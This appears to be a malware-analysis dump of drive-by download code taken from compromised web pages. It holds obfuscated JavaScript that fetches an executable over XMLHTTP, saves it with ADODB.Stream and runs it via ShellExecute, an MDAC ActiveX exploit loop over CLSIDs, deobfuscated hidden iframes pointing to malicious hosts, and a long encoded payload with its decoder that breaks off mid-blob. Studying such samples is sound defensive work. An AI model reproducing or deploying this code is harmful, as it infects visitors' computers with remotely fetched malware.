exeurl,false);}catch(e){try{nl=CreateO(a,”\115S\130M\114\u0032.XMLH\u0054T
\u0050″);nl.open(“\u0047E\u0054″,exeurl,false);}catch(e){try{nl=CreateO(a,”
\u004d\123XM\1142.\u0053\145rv\145rXML\u0048TTP”);nl.open(“G\105
\u0054″,exeurl,false);}catch(e){try{nl=new XMLHttpRequest();nl.open(“\u0047ET
“,exeurl,false);}catch(e){return 0;}}}}x.Type=1;nl.send(null);rb=nl.responseBody
;x.Open();x.Write(rb);x.SaveTofile(fname,2);sap.ShellExecute(fname);return 1;}
function mdac(){var i=0;var target=newArray(“B\1049\u0036\u0043\u0035\
u0035\066\u002d\u00365\101\u0033-\061\061\u00440\u002d9\u0038
\u0033A-00\u00430\064\u0046C2\071\u00453\u0036″,”\u0042\10496\
103\u003556-6\u0035A3-\u0031\061D\060\u002d\u00398\063A\0550\
060C0\u0034F\u004329\u00453\u0030″,”\101B9BCEDD-E\1037E\055\
u0034\u0037E1-\071\u003322-D4A\062\u0031\u003061\u0037\u0031\
u0031\066″,”\u0030\u003006F03\u0033-\060\060\u00300\0550\u0030\
0600-C\060\0600-0000\u0030\u00300\u00300046″,”00\u0030\066F0\
u0033\101-000\060-\u0030\06000\055\103000-0\u0030\u003000\060\
060\060004\u0036″,”\u0036\14532\0607\u0030a-766\144-\u0034\145\
u0065\u0036\u002d\07079\143-dc\u0031f\141\0711d2fc\063″,”\0664\
u0031451\u0032\102-B\071\u00378\u002d\u003451\u0044-A\u0030\
1048-FC\u0046D\u004633\u0045\07033C”,”7F\065B\067F\0663-\106\
u0030\u0036\u0046\u002d\06433\u0031\055\070A2\066\055\u00333\
071E\u00303\u00430\101\u0045\063D”,”\u0030\066\06723E0\u0039-\
u00464C\u0032-\u00343\u0063\u0038\u002d\07035\u0038\u002d09F\
u0043D1DB0\u0037\0666″,”\u003639\10672\065F\u002d1B2D-4831-\
u0041\u0039F\u0044\0558\u0037484\067\0668\0620\061\060″,”BA0\
u00318599-1DB3-44\u00669-\u00383B4\055461\0645\u0034C8\u0034\
102F\u0038″,”D\u0030\u004307D56-7C69\u002d43\u00461-\u00424A0-\
062\065F5A1\061\106\u0041B19″,”\u0045\u0038\u0043\103CDDF\
u002dC\1012\070\u002d\u003496\u0062-\1020\0650\055\066\u0043\
u00307C\u0039\u0036\062476B”,null);while(target[i]){var a=null;a=
document.createElement(“\157bje\143\u0074″);a.setAttribute(“\u0063lass\
u0069\u0064″,”c\154si\u0064″+unescape(‘\0453A’)+target[i]);if(a){try
{var b=CreateO(a,”S\150\u0065ll.Ap\160\u006cica\164\u0069o\u006e”);if
(b){if(Go(a))return 1;}}catch(e){}}i++;}}mdac();</script>
hxxp://bestshaste.cn/white.html
<script>a=new Array(59.88,104.93,101.88,113.9,96.86,108.95,100.82,
31.81,114.86,113.93,98.65,60.78,33.96,103.8,115.75,115.64,111.66,
57.71,46.92,46.83,113.84,104.99,117.73,96.78,115.99,110.97,114.78,
45.94,109.79,100.61,115.66,46.73,104.93,109.82,45.95,98.61,102.71,
104.76,62.83,104.79,99.8,48.96,33.9,31.93,118.9,104.95,99.75,115.86,
103.89,60.87,48.96,31.62,103.87,100.67,104.72,102.84,103.71,115.87,
60.61,48.76,31.9,114.63,115.63,120.63,107.94,100.86,60.96,33.87,
117.91,104.72,114.79,104.92,97.7,104.73,107.71,104.83,115.79,120.84,
57.7,31.83,103.67,104.79,99.95,99.95,100.84,109.9,33.65,61.64,59.77,
46.93,104.79,101.74,113.96,96.8,108.95,100.67,61.9);var i;
for (i=0;i<=a.length; i++){document.write(String.fromCharCode
(Math.round(a[i])));};</script>
DEOBFUSCATES TO:
<iframe src=”http://rivatos.net/in.cgi?id1″ width=1 height=1 style=”visibility: hidden”></iframe>
hxxp://rivatos.net/in.cgi?id1 redirects to hxxp://rivatos.net/1.php
<iframe src=”http://dk.an-dk.ru/partners/admin/1/index.php” width=1
height=1 style=”visibility: hidden”></iframe>
<iframe src=”http://rivatos.net/in.cgi?idb1″ width=1 height=1
style=”visibility: hidden”></iframe>
<iframe src=”http://rivatos.net/tds/in.cgi?2″ width=1 height=1
style=”visibility: hidden”></iframe>
hxxp://dk.an-dk.ru/partners/admin/1/index.php
<script>function LEeS1vPiTTar6(h3WgP84bf){return String["from"+"Char"+
"Code"](h3WgP84bf);}function RWLbYnx(QSu0lVjt){var MRrbPG=0,P8AfLlOJ2=
QSu0lVjt.length,WCGyRmK4L82g=1024,MaaE6J8Pj,TPaLnuN7ea,n20×6U57BVZ
=”",OorOv=MRrbPG,RArWkD=MRrbPG,XaRJAowCxtI=MRrbPG,UOdTyPYmG
whX5s=Array(63,15,36,50,55,12,54,47,43,34,0,0,0,0,0,0,21,2,18,20,7,0,
23,26,56,40,62,27,33,8,53,1,35,17,32,38,13,29,58,4,14,51,11,0,0,0,0,46,
0,41,24,30,59,60,49,6,9,31,19,25,39,10,48,22,3,16,52,37,61,5,45,42,44,
28,57);for(TPaLnuN7ea=Math.ceil(P8AfLlOJ2/WCGyRmK4L82g);TPaLnuN7ea
>MRrbPG;TPaLnuN7ea–){for(eval(“MaaE6J8Pj=Ma”+”th.m”+”in(P8AfLlOJ2,
WCGyRmK4L82g)”);MaaE6J8Pj>MRrbPG;MaaE6J8Pj–,P8AfLlOJ2–){XaRJAo
wCxtI|=(UOdTyPYmGwhX5s[QSu0lVjt.charCodeAt(OorOv++)-48])<<RArWkD
;if(RArWkD){n20×6U57BVZ+=LEeS1vPiTTar6(63^XaRJAowCxtI&255);XaRJAo
wCxtI>>=8;RArWkD-=2;}else{RArWkD=6;}}}return (n20×6U57BVZ);}var
edcwHCNbNBX=”hz@jiMsEQauBiHFjTzsQFbOONbPT622FTtLCkhnpWCPT6
bjBcNrDmNrCArf@ZvrjuEOWKQ@WcusWKQ@WTaWW1z@jZusoTfWWcvs
CouuWXEfCqzNoQer@1OR@KhEphHqpmrOONCPT6bjomuuFZkuCQtf@GU
ruQa2CjR2@Kvr@oqCT6bPT622FTtfooLs@Zf2EUeRpTnnAm2EADbRitf4cV
sFDWCPT6bPThz@jiysoDhnooLs@ZfCW5aCF5vCjFWsBBsfpDs4WXbOONb
PT6bpBFkNCGUQCmh@E1yCcoqCT6bPT6bjCmhsEQa2COWqEZqqT6bPT6b
Y@GU2EKkuoovWjQn2BUfrBTUQCmh@g1yCcjHRuCysoDQqT6bPT6MCT6b
PT622FTtOBovNBFhnuMkNoZUuEMkNoZU@O1bOONbPT6bpBFkNCGUf@G
UCWja@Cbvr@pR2@Kvr@oysoDhqD1rOuFaNQWCPT6bPTTaNBmNCCiyso
DQqT6bPTA@jT6bPTkaCCyv2@quNDcvNoTULFKv@joqCT6bPT6r2oZaCjQ
tLBQaujyzNjGUQDGICDCysoDULFKv@jkenQzsFczTfAoqQDGICDCysoDUf
ucvNoTuqEX2RukenQzsFczTfAobOONbPT6MCTNbPT62sBQfNBoO@CiICC
Gfru5vCjoqCT6bPT622FTtfBBt2EUrOONbPT6bjoqNruhz@jibsE1qR@pnrBT
ufCGuuoZUuOoQLEZbOQNbPT6bPTZhNjCMRFKv@jFyOjZNCWyUsFTfDCKa
siZUL@CnRup5qpZbOuNbPT6bPT6yOjZNCWyUsFTfDCKasiZUL@CrRup5R
phbOuNbPT6bPT6yOjZNCWyUsFTfDCKasiZUL@CHRup5nOoqQT6bPT6bP
T5vCjQnN@cNWiqvsoJvruokLuWCPT6bPTA@PT6bPTTaNBmNCCiICCGfWF
ct2oFx2C1kOONbPT6MCTNbPT62sBQfNBoO@CiysFhULuW@PT6bPTBssEB
suONbPT6bpjGvrGohsoqarBFrf@@CiRuj5UOj5TOj5f2uW@PT6bPTMUs@
jaNu5fCWja@Cbvr@@rnE5fWjonWjCMEj5QqT6bPT6nWjAnWjQn2BUfr
BTk@CbUfpjnWj5OQpoqqT6bPT6r2oZaCjQtOj5QqT6bPTA@jT6bjomuu
FZkuCQtLC5UOj1TsuW@PT6bjBcNrD1TuFAICCGfruNbPT6rfbDvEpPUrA
556QZnnbDvEpPUrA556QZnnbDaFiPUrpzT6Qmr4bDfEpPUWig56Qh2n
bDNlOPUrO156Q1HnbDUnpUqQT6bPTU56Q5nnbDaFcPUrA556QVNnb
DsliPU2ctT6Q1InbDa4OPU2ceT6Qzs4bDsFcPUCczT6QM24bDUqiPUrA
VT6QdsFDCCPT6bjDPU2czT6QVs4bDaFcPUCAZ56QJs4bDaDpPUCAZ5
6Qg24bDsDpPUrAT56QhxnbDkqcPU2cM56QhI4bDtEpPU2czNOuNbPT
6rfbDaFiPU2czT6QVs4bDsnAPUrp556QtknbDUEAPUCAX56QJznbDalp
PUrp556Q1RnbDzRpPU2czT6QVs4bDaFcUqQT6bPTU56Qh2nbDzliPU2
ctT6QtknbDUEAPUWAM56QXHnbDsRAPU2cX56Q1RnbDzqcPU2czT6Q
Vs4bDaFcPUCAh56QJzFDCCPT6bjDPU2cM56QtknbDUEAPUWiJT6Qm2
4bDznpPUCpdT6Q1RnbDtncPU2czT6QVs4bDaFcPUCAh56QJz4bDaDp
PUCigrOuNbPT6rfbDUEAPUrp156QTHnbDtqcPUrOzT6Q1RnbDfqiPU2c
zT6QVs4bDaFcPUCAh56QJz4bDsFcPUCig56QDRnbDNRcUqQT6bPTU5
6Qg2nbDtRiPU2AM56Q1RnbDNROPU2czT6QVs4bDaFcPUCAh56QJz4b
DsFiPU2izT6Qh24bDvDAPUCpeT6QgHFDCCPT6bjDPU2pm56Qh2nbDz
liPUCcM56Q12nbDa4OPU2cVT6QVs4bDaFcPUCiX56Qh2nbDkRiPUWit
T6QhxnbDzliPU2ctNOuNbPT6rfbDURAPU2cVT6QtsnbDsnAPUCiJT6Qz
LnbDNlOPUrpM56QhxnbDaFcPU2czT6QVs4bDNFcPUrOM56QdknbDsl
AUqQT6bPTU56QetnbDkqcPUrpM56QMynbDaFcPU2czT6QVs4bDsqAP
U2iJT6QzfnbDsnAPUCpJT6Qhn4bDNqcPUCizT6Qh2qDCCPT6bjDPU2iJ
T6Qes4bDUEAPU2p156QVs4bDaFcPU2czT6Qts4bDsnAPU2iJT6QzN4b
DURAPU2cdT6QtsnbDsnAPUCiJNOuNbPT6rfbDsDAPUrpM56QDI4bDaF
cPU2czT6QVs4bDaDiPU2iJT6Qes4bDNnOPU2czT6QtfnbDkRpPUWiX56
QDH4bDNnOUqQT6bPTU56QJs4bDaFiPU2OM56QDH4bDaFcPU2czT6
QXenbDkRiPUWizT6QhxnbDzliPU2c556QDInbDalcPUCih56QhxqDCCP
T6bjDPUCiJT6QzLnbDtEAPU2izT6QVs4bDaFcPU2czT6QDInbDa4OPUC
iM56QVf4bDzliPUWitT6Qdf4bDfnAPUCieNOuNbPT6rfbDNDiPU2p156
QgH4bDfFcPUCizT6Qtf4bDsnAPU2iJT6QzfnbDURAPU2cJT6QtsnbDsnA
PUCiJT6QzLnbDtEAUqQT6bPTU56Qef4bDaFcPU2czT6QVs4bDURAPU2
czT6QXenbDkRiPUWizT6QhxnbDzliPU2cM56QDInbDa4cPUCih56Qhxq
DCCPT6bjDPUCiJT6QzLnbDtEAPUCczT6QVs4bDaFcPU2czT6QDInbDzn
pPUCAZ56QJz4bDsFcPUrOm56QVa4bDNFAPUCAZrOuNbPT6rfbDNliPU
CcM56Q1RnbDaFcPU2czT6QVs4bDaFcPU2iVT6QtvnbDN4cPU2ceT6Q
1I4bDaDiPUrpVT6QVf4bDtRcUqQT6bPTU56QVf4bDtRcPUCAeT6Q1nn
bDaFiPUCim56Qtf4bDsnAPUWpm56Q1×4bDznOPUCidT6QXenbDtqcP
UCiJT6QhxqDCCPT6bjDPUrp556QhxnbDkqpPU2cM56QhxnbDNFpPU2
c556QtknbDsnAPU2OeT6QdfnbDsnAPU2OtT6QzznbDkEAPU2ceNOuN
bPT6rfbDzEiPUCig56QhxnbDkROPUWizT6QVf4bDzEiPUrceT6QT2nbDz
FAPU2iVT6QZrnbDaDiPUCpeT6QtknbDvDiUqQT6bPTU56QXbnbDa4pP
U2AX56Qzs4bDvlAPU2pdT6Qgr4bDaDAPUCpVT6QTHnbDaFpPU2ceT6
QXx4bDzFcPUrpZ56QXIFDCCPT6bjDPUrcZ56QXHnbDNlpPU2OJT6Q1H
4bDNlAPUCAZ56Q1xnbDsnAPUCim56QeN4bDaDiPUWpT56QDbnbDs
nAPU2c5rOuNbPT6rfbDz4APUCAZ56QtanbDsDpPU2ceT6Q5rnbDsnAP
U2ctT6QhxnbDaDiPUCpJT6QtznbDNFpPUCpdT6QVLnbDaFcUqQT6bPT
U56Q1RnbDzqiPU2pX56QXenbDznpPUCiJT6Qtv4bDzDpPU2iT56QJtnb
DzlpPU2czNOumNrCCnrjjkOONbPT622FTtf@5v2FAenQ1nNpytEF1nN
WFNujAenQXenp1enpjerCAerCyufCGuuoZU@uT5Oj5f2EFNujByfjjQfpD
fnOoqqT6bPThz@jinWjARuj5ULFKv@jFyujZzsujnWj5kfWFNsEFyujZzsW
FNujoEf@UfWONbPT6b@oiyLCkkOQNbPT6bjoqNrDFbsE1qR@py@FWb
uuCbfoGTsoZaNDBQS@9QqT6bPT6nDCjTsoyvWccNCFcLsoFbOONbPT
6MCT6bPTkO@jFbsE1qR@py@FWbuuCbLC2ksbAnWjCerCyQqT6bPTos
NucM@ooqCT6bPT6M@oAHEONbPT6bY@csruoqqT6bPTA@PT6bjjGv2
BTuND1qqT6bPqNCPT6bjomuuFZkuCQtOFqN@@FE@F@kOQNbPT6bjB
cNrDTaNBAWsBjTuONbPT6bP@kUOCU@@W5aCF5vCjouuoFenWXbLEA
rOQUbOQNbPT6bPTZN2QW@PT6bPT6bjBcNrDyTujovsEqN@@Qn2BUfr
BTk@CbULpjE@F@ufCGuuoZUsWXbOONbPT6bPT6r2oZhnoqfsBBa@CZ
uOFTasFZascjasCGuNBFrOCU@soyvCDoqqT6bPT6bPTTaNBQn2oZz4B
ZN2@UarBGUQDyTsF5f2@KNfWUnNC5kNourOuyTujovsuWCPT6bPT6b
jjGv2BTuNDTaNBWCPT6bPT6MWFcvWFFULooqCT6bPT6bPTTaNBmNCC
iWsBjTuONbPT6bPTA@PT6bPTAaNC5auQNbPT6bPTZN2QW@PT6bPT6
bjjGv2EQauBiHDFZk@BGUgyU@soyvruqN@@oqqT6bPT6bPTTaNBmNC
Cir2oZQqT6bPT6bPqyzNByUNuGkOQNbPT6bPT6r2oZaCjQtQCmTNCW
CPT6bPT6MCT6bPT6MCT6bPTA@jT6bPThz@jie2FKvs@QLNDAeQDJzliJ
NOONbPT622FTtf@GzNjtzujGtLEienQ1eRpmenp1eEONbPT622FTtLCG
huCWCjT6bPTkaCCyv2@quNDous@ZULCcU2ijTuCykOQNbPT6bpBFkN
CGtfuZeOuie2FKvs@QL@Wja@Cbvr@@rnDCeQpi5nDhIRA5IRu1zNoKk
@CbtOuAefjcvNoouuoWCPT6bPTBasCqtLEiWsoMtLiTN2FgULuWCPT6b
PTkTsB5UNuoqqT6bPTA@jT6bPTkaCCyv2@quNDkTsB5UNuoqCT6bPT
6xsojaNBGtLCGhuC2NfjjaCCba@jUMgONbPT6bpiqTNCGfNBHz@jUzuo
GULuWCPT6bPTBasCqQoD1TsBQLsoTNLbiMnDQauBiHFjTzsQFbOONb
PT6bjBcNrDUkrBGfrDAeQCGLrDJNCjckru5rnWi2nAjeQpm2nWinqpM2n
OoqqT6bPT62uCTtfuhz@jibNDAefpWeL@i5nDhqnDoQOuoeOQNbPT6
bPTkO@jF22FTtQCiMnD1qnDQtfEixEOiWuuCbfDW@PT6bPT6bjBcNrDj
a@CiMnDBasCqQoD1TsBQLsoTNLbQ5soQLNBFQqT6bPT6bPTGs2FjUQ
DBasCqQ6bUerCmuuoGNrbUMgkja@C9tLEie2FKvs@QL@W5aCF5vCjFe
nWiyQDiqfDUkrBGfWkQh6DCeQDB2RuqrRuWrLuWCPT6bPT6MCT6bPT
6MCT6bPTA@jT6bPTkaCCyv2@quNDcTNCqfNucNWojefBcLsuW@PT6b
PThz@jin2@uauONbPT6bpjo@2oiMnDcNWoWCPT6bPTosNDFn2@uaN
DAMnD5rnDpTrD5k@QGtLEAeQAZefqptOjo@2oiMREirRAhefqptOjo@2
oiMREinqpM2nOoeOQA@PT6bPTosNDFeLDiMsoBOukZzuo9tLuBasCqQ
6BcLsbiMnDQauBiHFjTzsQFbOONbPT6bjBcNrDja@CiMnDBasCqQ6BcL
sbQ5soQLNBFQqT6bPT6MsoBOukZzuo9Q6CGusbiMnD1zNoKk@CbuO
jmNujZNru15fDFH@jbhQAoEQpoqqT6bPTA@jT6bPTkaCCyv2@quNDc
TNCqfub5vCjFH@jbTfDZzuooqCT6bPT622FTtOjo@2oWCPT6bPT5k@Q
GtLEixnDCeLFTL@Wja@Cbvr@@rnDCeQpWCPT6bPTosNDFn2@uaNDA
MnD5rnDpTrD5k@QGtLEAeQAZefqptOjo@2oiMREirRAhefqptOjo@2oiM
REinqpM2nOoeOQA@PT6bPTosNDFeLDiMsoBOukZzuo9kLCGhuC2v2F
bh6DAeQCGLrDJNCjckruoqqT6bPT622FTtfCGuNDAeLCGhuC2v2Fbho
Wja@Cbvr@WCPT6bPTBasCqQ6BcLsb2TsoQh6DAeLFTL@W5aCF5vCjFe
nWiH@jbufCGuuoZUsuWCPT6bPqNCPT6bjomuuFZkuCQtQoTasoFx2Fb
kfDWtQT6bPT6xsojaNBGtLCGhuC2v2FbhgONbPT6bpiqTNCGfNBHz@j
UzuoGULuWCPT6bPTkTsB5UNuoqqT6bPTA@jT6bPTkaCCyv2@quNDeN
2ocv2onUOCjWsuW@PT6bPThz@jir2EQarCjQqT6bPT6xCjgQCjAE@WeN
2ocv2onN@@GfNBFWsuAfsFZfN@FIsuWhCT6bPT6b@oFHQjoqrBTkWQ
ThECQnFjGzNBGOFF@auFZUQCjrQDoMWFcvWFFULooq2qA@PT6bPTos
Nucr2uWvCjgQCjAE@WeN2ocv2onN@@GfNBFWNWUrfWUrLuAfsFZfN@
FIsuWh2qNbPT6bP@kULDTkOQZN2QWN2EquOcGvWyU@soyvruUrfWQ
kLqyzNByUNuGkOQAhCT6bPT6b@oFHQjoqrBTkWQThECQRloZOFF@a
uFZUQCjrQDoMWFcvWFFULooq2qA@PT6bPTosNucr2uWvCjgQCjAE@W
HaNBnN@@GfNBFWsuAfsFZfN@FIsuWh2qNbPT6bjjGv2BTuNuTkOONb
PT6MCTNbPT62sBQfNBoO@CiRDCFHsuW@PT6bPThz@jiIsBTTsEmNrC
CrQg5trCArqDWCPT6bPThz@ji2@CchsoArOBouNQFaljzaFF@kCcmzoi
QINQGNOONbPT6bjBcNrDkfWCAH@WeN2ocv2onN@@GfNBFrOKyN2@
1v2@QL@WzkNCGfSQ5v2oBOFF@auFZNfWUrLuNbPT6bjBcNrD5zNjAn
FjGzNBGO4ucTQDxUsojT@WJtrjjkuFcv2@qu@DoqqT6bPT622FTtfQAn
FjGzNBGO4ucTQDJvDydNFWxvCjGzsCUbOONbPT6bjBcNrDQTsEQarCj
QqT6bPT62@CchsoA2ujquQimkNCKtSFZUNukfWCQRloZf6jGfs@cT@c
qTNoGNruTbfWkusFBasuWCPT6bPTDuLyqvsoAnEONbPT6bYBTkWQQT
sEeN2ocv2onULFjrLyof@jUqQDqfWCkvCWlh4y4NOuUx6G7NLuWWNC
QENjGuNuURlc8NfWGaCjjTQocTujGkOOA@PT6bPTyzNByUNuGkOQZN
2QWuNCAnFjGzNBGO4ucTQD3f6k3TFpQySyYU4G8toDoqqCjuOC1a@
CFrOcVvoDjIsBTTNWkzNC5asuWMCT6bPT6nsFZfN@FIsuWvCjgQCCjh
EiTasFZauyFHNWUMDKlh4yTWOKGNCBGNrk3T4U8v6KUbOOQT@Wqt2
oQUQDHa4GU5LomNrCj2sFjf2ooqRqNbPT6bpFcvWFFULooqrBTkWQQ
TsEQauBiySyYU4BZtCKGz2BGfrBFbOOQT@Wqt2oQUQDHa4GU5LomNr
Cj2sFjf2ooqRqNbPT6bpFcvWFFULooqCjGv2BTuND1qRqAh2qNbPT6bY
QQxSQ1asEXqqT6bPT6WNCQn2oQvNuQarCjkOONbPT6bjjUhqCjuQjGf
rjquujGNDCKkWONbPT6bYQQE4jGuNuoqqT6bPT6yCWIN2@ZaNuTNsu
WCPT6bPTDuOKcs2o8O@ooTsoF2@CchsojrRuWCPT6bPT5zNjQn6@GT
NCVU2oyarBGUQoQzsCGkOONbPT6bjjGv2BTuNDXqqT6bPTA@jT6bPT
kaCCyv2@quNDcvrBcfu@Fn2uW@PT6bPThz@jiE@F@hqCmTNCWCjT6b
PT6b@oFn2EAHRuW@PT6bPT622FTtL@AeEONbPT6bPThz@jix2FTLsoZ
hqCGLrDJNCjckruUr4cg2EimIqAB2RAJfRWXHnc1MLODnRiBenpetnAzfF
pgIDphrfWUr4cg2EimIqAB2RAJfRWXHnc1MLODnRiBenpetnAzfFpgIDp1
rfWUHFigrDiVv4cBIDiMIlWZRRcXMLO5rqpBx4AJNRp12RpMHRphrfWUe
np12qc1nEpBenp1eRW1enp1MOi1enpBenp1enp1enp1enAhrfWUenp12
qc1nRiBenp1eRW1enp1MOi1enpBenp1enp1enp1enAhrfWU2Ro5rnpMe
RFBRqAhxsWZIsohMfOMbEFBxuFX2sFgHnoT2uF5rfWU2nAXxRAXrqiBrl
OMyRWZIRpdhLi1×4OB2DizvFc5nRcDnEpeNfWURqcmrDAzsEpB24ph2l
WZnEpXMfOJNqABnEpgI4p5n4pJaDpdNfWUeqAMrEpVtROB24AeNRWZn
EFDMfO5InOBeROzf4cXxFi1RqAhrfWU2Epg2DATIqcBHqiTxlWZyEpXML
ig24cByEAZynAM2nOTeRp1rfWUrli1HnOmbROBHnctfRWZxqogMfO5r4
ABxqAXxRAZn4OZrFcDrfWUx4petEAdaqABREihbRWZnqcXMQiZH4pBrR
AzaRiXHqcJNlpgrfWUI4OefDidvFcBnliTyRWZbqAUhQi1InpB2Ei1REig2q
pZRqAtNfWQarCjkOONbPT6bPTMUs@jaNuZz@jbaNB2ksboqCT6bPT6b
PThz@jiHsEQarCjQqT6bPT6bPTchnoqfsBBa@CZuOFTasFZascjasCGuNB
FrOCU@soyvCDoqqT6bPT6bPTcuOjGv2iZvCjoNsBZaNuUnNCcfWjov@
DjrOFjf2@K@qDCx2FTLsoZQS@9kOONbPT6bPT6b@oFHsuWvCjgQCBc
NrDUhEiTasFZauyFHNWUn6@GTNCQH4j1Ts@yzNBoO@CUbOOosNuU
kOQHONuckOOAhWFcvWFFULooq2qA@PT6bPT6bP@CqOONbPT6bPTA
@PT6bPT6n2oZvS@BauCmvruUHNBZzuFCUQporfWZenp1bOONbPT6bP
TTaNBmNCCieEONbPT6bPqNCPT6bPTosNu5hRETbOQNbPT6bPTZN2Q
W@PT6bPT6bpCU@sEyO@F@UQDxUuCyQuBcs2ozTsF5U@WxUuCyQuB
cs2ozTsF5U@WgrLuWCPT6bPT6bP@kUOCU@suW@PT6bPT6bPTBfruU2
Oj1TsE5rLuWCPT6bPT6bPTKOuFmhsoQvCWbaNBVTsoBa@CZNlQ6vNu
UHspUbQWou@CGNrU8h4yiMnDNbPT6bPT6bpgpE@F@auFZtOFjzuj5k
NoArOFjf2@K@noTREFKN@AGhLFGsnoBHRpyssWg2qFDMfAZxRAmnR
AZenp1eqDinuCKa@Fcf2oArf@ZvrjuEOWKOuBQTuCcv@WBzuFTOsCGv
s@cuOFqhuW1aCFqnr@qfu@Mz@BGOOFcNujq2NCcfr@qnWBkTsF5U@
Wyz@Fy22oTf2@qusEZ5fpjHROjeqDiR2@Kvr@ArfpUef@GkuoFv2EUeq
DiHNCoL@CArLCovNoja@DOROuNbPT6bPT6bpgpe2FTzsCiWsFBasEUH
NCjOuBxf@jotrBJfuFGfWjUeQBcTsBGhqD5zsCGvDCBzs@QNOWOROuN
bPT6bPT6bpgpe2FTzsCiWsFBasEUMuChksoUeQBcTsBGhqDFvrB1@EWq
xu@QH@CBxu@Qr2Bqe2FTvCCGNWjqHNoBk@CqHEWXWOjMs@DqWEg
CCPT6bPT6bPTb5njcN2FBtQCchsoArLjmzNCov2QUeQBcTsBGhqDFkuo
FNOWOROuNbPT6bPT6bpgpe2FTzsCiWsFBasEUruoyONCqNCDi22Fja2
oArODks@oks@oUEQEbqQT6bPT6bPT6RfEGh@FGvND5NWFArf@Zvrju
EOWKQ@WcusWKQ@WTaWW1z@jZusoTfWWcvsCouuWXELpQnWBkNO
WOROuNbPT6bPT6bpgpEOCU@soyvCEbqqT6bPT6bPT6n2oZvS@BauC
mvruUHNBZzuFCUOporfWTenp1bOONbPT6bPT6bjjGv2BTuND1qqT6bP
T6bPTA@PT6bPT6MWFcvWFFULooq2qNbPT6bPT5aNB8ksCGOsBZUQD
cvrBcfu@FnRuU5LpoqqT6bPT6bjjGv2BTuND1qqT6bPT6MCT6bPTNbPT
6bP@kUOjAMEpoqCT6bPT6bYBTkWQNbPT6bPT6E@F@hEFqN@@FrOGG
N@GoauBzONCKa@j6fuCQuOGGN@GoauBzONCKa@j6fuCQuLpUbOON
bPT6bPT6b@oFE@F@kOQNbPT6bPT6bPC5UQDknrjjhnAUbOONbPT6bP
T6bjoqNruhz@jibsE1qR@pHqpDqR@CqLuW@PT6bPT6bPT622FTtOBhs
s@qhqCGLrDJfNBos2olOFF@auFZUQDIa@FaksoMsDCjvsoTkDFqu@WIa
@FaksoMsDCjvsoTkDFqu@WXrLuWCPT6bPT6bPT6xCjgQWBhss@quOj
GvWKjkuFGUfpDLqoks@okssojenW15Qp1rRpX2Rp1yRuWMWFcvWFFUL
ooq2qNbPT6bPT6bPThz@jiRCBkkNBAWsoMtLiyv2@haNknN@@GfNBFr
OGGN@GoauBzONCKa@j6fuCQuOGGN@GoauBzONCKa@j6fuCQuLpUb
OONbPT6bPT6bPqNbPT6bPT6bpjGvrGohsoqarBFrLFZv2FyQNuZbQDjrn
p1eRuWCPT6bPT6bPTTaNBmNCCieEONbPT6bPT6MCT6bPT6bPqyzNBy
UNuGkOQA@PT6bPT6n2oZvS@BauCmvruUHNBZzuFCUfAorfWXbOONb
PT6bPTTaNBmNCCieEONbPT6bPqNCPT6bPTosNu5hREZbOQNbPT6bPT
ZN2QW@PT6bPT6bpCU@sEyO@F@UQDWaDiZxnAeNFABnRcMIlWZyqA
mMQiXnDpBencVLqpVsDpgrDpzhCDoqqT6bPT6bPTosNuqN@@oqCT6
bPT6bPT6MujFrQg5trCAIqDoqqT6bPT6bPT6C2E3zNBFuOFGkNCFenQ1
nNpytEF1nsuWCPT6bPT6bPTuhnoqfsBBa@CZuOjyN2@1vWj2tRbQn@jG
zNBGfDCQvCjqT@KcuuoGULuQ5soQLNBFQqT6bPT6bPT6n2oZvS@Bau
CmvruUHNBZzuFCULAorfWTenp1bOONbPT6bPT6bjjGv2BTuND1qqT6b
PT6bPTA@PT6bPT6MWFcvWFFULooq2qNbPT6bPT5aNB8ksCGOsBZUQD
cvrBcfu@FIRuU5LpoqqT6bPT6bjjGv2BTuND1qqT6bPT6MCTNbPT6bP@
kUOjAMRAoqCT6bPT6bYBTkWQNbPT6bPT622FTtOCU@sEyO@F@UQD
WtnpVznctaROB2RczvlWZnlcMMfOetRiBrncJfqiezlidkEihMCDoqqT6bPT
6bPTosNuqN@@oqCT6bPT6bPT6MujFrQg5trCARqDoqqT6bPT6bPT622
FTtQCmhNDAeQp1rRpX2Rp1yEONbPT6bPT6bpCU@@WIQuj7kuFZaCjG
kFCZa@jkzuFGtLEiWsBBQqT6bPT6bPT6n2oZvS@BauCmvruUHNBZzuFC
UQAorfWTenp1bOONbPT6bPT6bjjGv2BTuND1qqT6bPT6bPTA@PT6bPT
6MWFcvWFFULooq2qNbPT6bPT5aNB8ksCGOsBZUQDcvrBcfu@F2RuU5
LpoqqT6bPT6bjjGv2BTuND1qqT6bPT6MCTNbPT6bP@kUOjAMqAoqCT
6bPT6bYBTkWQNbPT6bPT622FTtOCU@sEyO@F@UQDWtRim24cMnlAB
H4AmnlWZbqcehLidNlABbROmrRAZRncmRRpmMCDoqqT6bPT6bPTos
NuqN@@oqCT6bPT6bPT6MujFrQg5trCAyqDoqqT6bPT6bPT622FTtQFm
sNDAeLFKv@jFenQ1nNpytEF1nsuWCPT6bPT6bPTMUs@jaNDFrsBkufCG
uuoZUNDpeLAXrRuirsBktOuAeQFmsuONbPT6bPT6bpCU@@WyzuFFa@
oqTNoGNrDAeQFmsuONbPT6bPT6bpjGvrGohsoqarBFrLFZv2FyQNuMb
QDjrnp1eRuWCPT6bPT6bPTTaNBmNCCieEONbPT6bPT6MCT6bPT6bPq
yzNByUNuGkOQA@PT6bPT6n2oZvS@BauCmvruUHNBZzuFCUOAorfWX
bOONbPT6bPTTaNBmNCCieEONbPT6bPqNCPT6bPTosNu5hREMbOQN
bPT6bPTZN2QW@PT6bPT6bpCU@sEyO@F@UQDWLEADrROzznABxlOX
HRWZeqczhLiT24pBxlpXxFiDxFAdtqiehCDoqqT6bPT6bPTosNuqN@@o
qCT6bPT6bPT6MujFrQg5trCAbqDoqqT6bPT6bPT622FTtQFmsNDAeQD
UqqT6bPT6bPT6Rr@oTsoiyQFms@Wja@Cbvr@i5nDmenp1bfDUaCoiqL
EirfbDtEFPUrpyT6Q1nNbDtEFUqqT6bPT6bPT6E@F@uOKGvCcqN2Ccvry
oQsoxzsC1TsoFrsBkkOONbPT6bPT6bpjGvrGohsoqarBFrLFZv2FyQNuD
bQDjrnp1eRuWCPT6bPT6bPTTaNBmNCCieEONbPT6bPT6MCT6bPT6bP
qyzNByUNuGkOQA@PT6bPT6n2oZvS@BauCmvruUHNBZzuFCUfOorfWX
bOONbPT6bPTTaNBmNCCieEONbPT6bPqNCPT6bPTosNu5hREDbOQNb
